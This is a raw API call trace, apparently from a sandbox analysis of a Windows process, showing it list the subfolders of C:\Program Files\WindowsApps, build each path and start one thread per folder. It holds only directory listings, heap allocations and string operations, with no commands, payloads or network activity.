	[0079.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020
	[0079.048] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d7ab3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI9599~1.0_X")) returned 1
	[0079.048] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.048] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7da70
	[0079.048] wcscpy (in: _Dest=0x2d7da70, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.048] wcscat (in: _Dest=0x2d7da70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.048] wcscat (in: _Dest=0x2d7da70, _Source="Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0079.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024
	[0079.049] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182554a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78f971b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78f971b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIB685~1.0_X")) returned 1
	[0079.049] wcscmp (_String1="microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.049] wcscmp (_String1="microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e9360
	[0079.049] wcscpy (in: _Dest=0x47e9360, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.049] wcscat (in: _Dest=0x47e9360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.049] wcscat (in: _Dest=0x47e9360, _Source="microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0079.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028
	[0079.050] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181968dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78d353e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIF624~1.0_N")) returned 1
	[0079.050] wcscmp (_String1="microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.050] wcscmp (_String1="microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e110
	[0079.050] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.050] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.050] wcscat (in: _Dest=0x477e110, _Source="microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0079.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c
	[0079.051] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f88bbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI0ADF~1.SCA")) returned 1
	[0079.051] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.051] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768e50
	[0079.051] wcscpy (in: _Dest=0x4768e50, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.051] wcscat (in: _Dest=0x4768e50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.051] wcscat (in: _Dest=0x4768e50, _Source="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030
	[0079.052] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0319~1.0_N")) returned 1
	[0079.052] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.052] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9430
	[0079.052] wcscpy (in: _Dest=0x47e9430, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.052] wcscat (in: _Dest=0x47e9430, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.052] wcscat (in: _Dest=0x47e9430, _Source="Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0079.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034
	[0079.052] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5011552a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI214C~1.0_X")) returned 1
	[0079.052] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.052] wcscmp (_String1="Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x476a9e8
	[0079.053] wcscpy (in: _Dest=0x476a9e8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.053] wcscat (in: _Dest=0x476a9e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.053] wcscat (in: _Dest=0x476a9e8, _Source="Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0079.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a9e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038
	[0079.053] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aea982c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI1C44~1.0_N")) returned 1
	[0079.053] wcscmp (_String1="Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.053] wcscmp (_String1="Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4769ea8
	[0079.053] wcscpy (in: _Dest=0x4769ea8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.053] wcscat (in: _Dest=0x4769ea8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.053] wcscat (in: _Dest=0x4769ea8, _Source="Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe"
	[0079.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c
	[0079.054] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d01521b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd5106b5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd5106b5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI97D5~1.SCA")) returned 1
	[0079.054] wcscmp (_String1="Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.054] wcscmp (_String1="Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12248
	[0079.054] wcscpy (in: _Dest=0x2e12248, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.054] wcscat (in: _Dest=0x2e12248, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.054] wcscat (in: _Dest=0x2e12248, _Source="Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040
	[0079.055] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b07346e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE984~1.0_X")) returned 1
	[0079.055] wcscmp (_String1="Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.055] wcscmp (_String1="Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d790
	[0079.055] wcscpy (in: _Dest=0x2d7d790, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.055] wcscat (in: _Dest=0x2d7d790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.055] wcscat (in: _Dest=0x2d7d790, _Source="Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0079.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044
	[0079.056] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391b556, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe", cAlternateFileName="MID9F7~1.0_X")) returned 1
	[0079.056] wcscmp (_String1="Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.056] wcscmp (_String1="Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d848
	[0079.056] wcscpy (in: _Dest=0x2d7d848, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.056] wcscat (in: _Dest=0x2d7d848, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.056] wcscat (in: _Dest=0x2d7d848, _Source="Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0079.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048
	[0079.057] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1121ceb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3c565ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI99D1~1.0_N")) returned 1
	[0079.061] wcscmp (_String1="Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.061] wcscmp (_String1="Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a4a8
	[0079.061] wcscpy (in: _Dest=0x476a4a8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.061] wcscat (in: _Dest=0x476a4a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.061] wcscat (in: _Dest=0x476a4a8, _Source="Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0079.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c
	[0079.062] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542e769c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI22BC~1.0_X")) returned 1
	[0079.062] wcscmp (_String1="Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.062] wcscmp (_String1="Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4770618
	[0079.062] wcscpy (in: _Dest=0x4770618, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.062] wcscat (in: _Dest=0x4770618, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.062] wcscat (in: _Dest=0x4770618, _Source="Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0079.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050
	[0079.062] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541b63c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIB231~1.0_N")) returned 1
	[0079.062] wcscmp (_String1="Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.063] wcscmp (_String1="Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea2d0
	[0079.063] wcscpy (in: _Dest=0x47ea2d0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.063] wcscat (in: _Dest=0x47ea2d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.063] wcscat (in: _Dest=0x47ea2d0, _Source="Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0079.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054
	[0079.063] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1117e7db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI06B9~1.SCA")) returned 1
	[0079.063] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.063] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477e1f0
	[0079.063] wcscpy (in: _Dest=0x477e1f0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.063] wcscat (in: _Dest=0x477e1f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.064] wcscat (in: _Dest=0x477e1f0, _Source="Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
